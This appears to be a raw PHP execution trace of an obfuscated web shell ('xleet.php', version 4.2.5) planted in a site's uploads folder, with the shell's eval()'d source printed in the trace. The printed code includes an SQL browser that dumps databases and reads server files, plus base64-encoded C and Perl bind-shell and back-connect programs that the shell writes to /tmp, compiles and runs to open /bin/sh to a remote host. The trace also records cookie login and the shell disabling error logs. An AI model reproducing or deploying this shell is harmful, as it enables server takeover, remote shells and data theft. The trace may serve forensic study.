$db->setCharset(\'cp866\'); break;\n }\n if(empty($_POST[\'file\'])) {\n ob_start("ob_gzhandler", 4096);\n header("Content-Disposition: attachment; filename=dump.sql");\n header("Content-Type: text/plain");\n foreach($_POST[\'tbl\'] as $v)\n\t\t\t\t$db->dump($v);\n exit;\n } elseif($fp = @fopen($_POST[\'file\'], \'w\')) {\n foreach($_POST[\'tbl\'] as $v)\n $db->dump($v, $fp);\n fclose($fp);\n unset($_POST[\'p2\']);\n } else\n die(\'\');\n\t}\n\thardHeader();\n\techo "\n

Sql browser

\n
\n\n\n\n\n\n\n\t\t\t\t\n \n\t\t\t\n\t\t
TypeHostLoginPasswordDatabase
";\n\t$tmp = "";\n\tif(isset($_POST[\'sql_host\'])){\n\t\tif($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {\n\t\t\tswitch($_POST[\'charset\']) {\n\t\t\t\tcase "Windows-1251": $db->setCharset(\'cp1251\'); break;\n\t\t\t\tcase "UTF-8": $db->setCharset(\'utf8\'); break;\n\t\t\t\tcase "KOI8-R": $db->setCharset(\'koi8r\'); break;\n\t\t\t\tcase "KOI8-U": $db->setCharset(\'koi8u\'); break;\n\t\t\t\tcase "cp866": $db->setCharset(\'cp866\'); break;\n\t\t\t}\n\t\t\t$db->listDbs();\n\t\t\techo "\';\n\t\t}\n\t\telse echo $tmp;\n\t}else\n\t\techo $tmp;\n\techo " count the number of rows
\n\t\t";\n\tif(isset($db) && $db->link){\n\t\techo "
";\n\t\t\tif(!empty($_POST[\'sql_base\'])){\n\t\t\t\t$db->selectdb($_POST[\'sql_base\']);\n\t\t\t\techo "";\n\t\t\t}\n\t\t\techo "
Tables:

";\n\t\t\t\t$tbls_res = $db->listTables();\n\t\t\t\twhile($â–Ÿ = $db->fetch($tbls_res)) {\n\t\t\t\t\tlist($key, $value) = each($â–Ÿ);\n if(!empty($_POST[\'sql_count\']))\n $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));\n\t\t\t\t\t$value = htmlspecialchars($value);\n\t\t\t\t\techo " ".$value."" . (empty($_POST[\'sql_count\'])?\' \':" ({$n[\'n\']})") . "
";\n\t\t\t\t}\n\t\t\t\techo "
File path:		";\n\t\t\t\tif(@$_POST[\'p1\'] == \'select\') {\n\t\t\t\t\t$_POST[\'p1\'] = \'query\';\n $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;\n\t\t\t\t\t$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);\n\t\t\t\t\t$num = $db->fetch();\n\t\t\t\t\t$pages = ceil($num[\'n\'] / 30);\n echo "".$_POST[\'p2\']." ({$num[\'n\']} records) Page # ";\n echo " of $pages";\n if($_POST[\'p3\'] > 1)\n echo " < Prev";\n if($_POST[\'p3\'] < $pages)\n echo " Next >";\n $_POST[\'p3\']--;\n\t\t\t\t\tif($_POST[\'type\']==\'pgsql\')\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);\n\t\t\t\t\telse\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';\n\t\t\t\t\techo "

";\n\t\t\t\t}\n\t\t\t\tif((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {\n\t\t\t\t\t$db->query(@$_POST[\'p2\']);\n\t\t\t\t\tif($db->res !== false) {\n\t\t\t\t\t\t$title = false;\n\t\t\t\t\t\techo \'\';\n\t\t\t\t\t\t$line = 1;\n\t\t\t\t\t\twhile($â–Ÿ = $db->fetch())\t{\n\t\t\t\t\t\t\tif(!$title)\t{\n\t\t\t\t\t\t\t\techo \'\';\n\t\t\t\t\t\t\t\tforeach($â–Ÿ as $key => $value)\n\t\t\t\t\t\t\t\t\techo \'\';\n\t\t\t\t\t\t\t\treset($â–Ÿ);\n\t\t\t\t\t\t\t\t$title=true;\n\t\t\t\t\t\t\t\techo \'\';\n\t\t\t\t\t\t\t\t$line = 2;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\techo \'\';\n\t\t\t\t\t\t\t$line = $line==1?2:1;\n\t\t\t\t\t\t\tforeach($â–Ÿ as $key => $value) {\n\t\t\t\t\t\t\t\tif($value == null)\n\t\t\t\t\t\t\t\t\techo \'\';\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\techo \'\';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\techo \'\';\n\t\t\t\t\t\t}\n\t\t\t\t\t\techo \'
\'.$key.\'
null\'.nl2br(htmlspecialchars($value)).\'
\';\n\t\t\t\t\t} else {\n\t\t\t\t\t\techo \'
Error: \'.htmlspecialchars($db->error()).\'
\';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\techo "

";\n\t\t\t\techo "

";\n if($_POST[\'type\']==\'mysql\') {\n $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");\n if($db->fetch())\n echo "
Load file
";\n }\n\t\t\tif(@$_POST[\'p1\'] == \'loadfile\') {\n\t\t\t\t$file = $db->loadFile($_POST[\'p2\']);\n\t\t\t\techo \'
\'.htmlspecialchars($file[\'file\']).\'
\';\n\t\t\t}\n\t} else {\n echo htmlspecialchars($db->error());\n }\n\techo \'
\';\n\thardFooter();\n}\nfunction actionNetwork() {\n\thardHeader();\n\t$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";\n\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\n\t$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";\n\t$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\n\techo "

Network tools

\n\t
\n\tBind port to /bin/sh
\n\tPort: Password: Using: \n\t
\n\t
\n\tBack-connect to
\n\tServer: Port: Using: \n\t

";\n\tif(isset($_POST[\'p1\'])) {\n\t\tfunction cf($f,$t) {\n\t\t\t$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');\n\t\t\tif($w)\t{\n\t\t\t\t@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));\n\t\t\t\t@fclose($w);\n\t\t\t}\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bpc\') {\n\t\t\tcf("/tmp/bp.c",$bind_port_c);\n\t\t\t$â–– = ex("gcc -o /tmp/bp /tmp/bp.c");\n\t\t\t@unlink("/tmp/bp.c");\n\t\t\t$â–– .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\n\t\t\techo "
$â––".ex("ps aux | grep bp")."
";\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bpp\') {\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\n\t\t\t$â–– = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");\n\t\t\techo "
$â––".ex("ps aux | grep bp.pl")."
";\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bcc\') {\n\t\t\tcf("/tmp/bc.c",$back_connect_c);\n\t\t\t$â–– = ex("gcc -o /tmp/bc /tmp/bc.c");\n\t\t\t@unlink("/tmp/bc.c");\n\t\t\t$â–– .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\n\t\t\techo "
$â––".ex("ps aux | grep bc")."
";\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bcp\') {\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\n\t\t\t$â–– = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\n\t\t\techo "
$â––".ex("ps aux | grep bc.pl")."
";\n\t\t}\n\t}\n\techo \'
\';\n\thardFooter();\n}\nif( empty($_POST[\'a\']) )\n\tif(isset($▚) && function_exists(\'action\' . $▚))\n\t\t$_POST[\'a\'] = $▚;\n\telse\n\t\t$_POST[\'a\'] = \'FilesMan\';\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\n\tcall_user_func(\'action\' . $_POST[\'a\']);\n' /var/www/html/uploads/xleet.php(1) : eval()'d code 1 0 4 28 0 0.012490 1303808 error_reporting 0 /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 2 1 0 4 28 1 0.012507 1303848 4 28 R 22527 3 A /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 17 $▛ = '59e8d97dbcc1d0f65dea6ecd0e9fbe39' 3 A /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 19 $▘ = TRUE 3 A /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 20 $▜ = 'UTF-8' 3 A /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 21 $▚ = 'FilesMan' 4 29 0 0.012574 1303808 md5 0 /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 22 1 'python-requests/2.25.1' 4 29 1 0.012590 1303904 4 29 R 'ecd862b3d0595af0a0b03f511e800938' 3 A /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 22 $▙ = 'ecd862b3d0595af0a0b03f511e800938' 4 30 0 0.012618 1303872 md5 0 /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 23 1 'localhost' 4 30 1 0.012632 1303968 4 30 R '421aa90e079fa326b6494f812ad13e79' 4 31 0 0.012648 1303872 md5 0 /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 24 1 'localhost' 4 31 1 0.012662 1303968 4 31 R '421aa90e079fa326b6494f812ad13e79' 4 32 0 0.012677 1303936 prototype 1 /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 24 2 '421aa90e079fa326b6494f812ad13e79key' 'ecd862b3d0595af0a0b03f511e800938' 4 A /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 367 _COOKIE['421aa90e079fa326b6494f812ad13e79key'] = 'ecd862b3d0595af0a0b03f511e800938' 5 33 0 0.012714 1304312 setcookie 0 /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 368 2 '421aa90e079fa326b6494f812ad13e79key' 'ecd862b3d0595af0a0b03f511e800938' 5 33 1 0.012733 1304512 5 33 R TRUE 4 32 1 0.012747 1304448 3 A /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 28 _POST['charset'] = 'UTF-8' 4 34 0 0.012769 1304824 ini_set 0 /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 37 2 'error_log' NULL 4 34 1 0.012799 1304896 4 34 R '' 4 35 0 0.012813 1304824 ini_set 0 /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 38 2 'log_errors' 0 4 35 1 0.012828 1304896 4 35 R '1' 4 36 0 0.012841 1304824 ini_set 0 /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 39 2 'max_execution_time' 0 4 36 1 0.012856 1304928 4 36 R '30' 4 37 0 0.012870 1304824 set_time_limit 0 /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 40 1 0 4 37 1 0.012885 1304888 4 37 R FALSE 4 38 0 0.012898 1304856 define 0 /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 43 2 'VERSION' '4.2.5' 4 38 1 0.012913 1304960 4 38 R TRUE 4 39 0 0.012926 1304888 get_magic_quotes_gpc 0 /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 44 0 4 39 1 0.012939 1304888 4 39 R FALSE 4 40 0 0.012953 1304888 md5 0 /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 55 1 'localhost' 4 40 1 0.012967 1304984 4 40 R '421aa90e079fa326b6494f812ad13e79' 4 41 0 0.012982 1304888 hardLogin 1 /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 56 0 4 A /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 62 $userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler'] 5 42 0 0.013015 1304888 implode 0 /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 63 2 '|' [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler'] 5 42 1 0.013035 1305032 5 42 R 'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler' 5 43 0 0.013053 1304968 preg_match 0 /var/www/html/uploads/xleet.php(1) : eval()'d code(1) : eval()'d code 63 2 '/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i' 'python-requests/2.25.1' 5 43 1 0.013072 1305032 5 43 R 0 0.013107 1225488 TRACE END [2023-02-12 22:02:11.512118]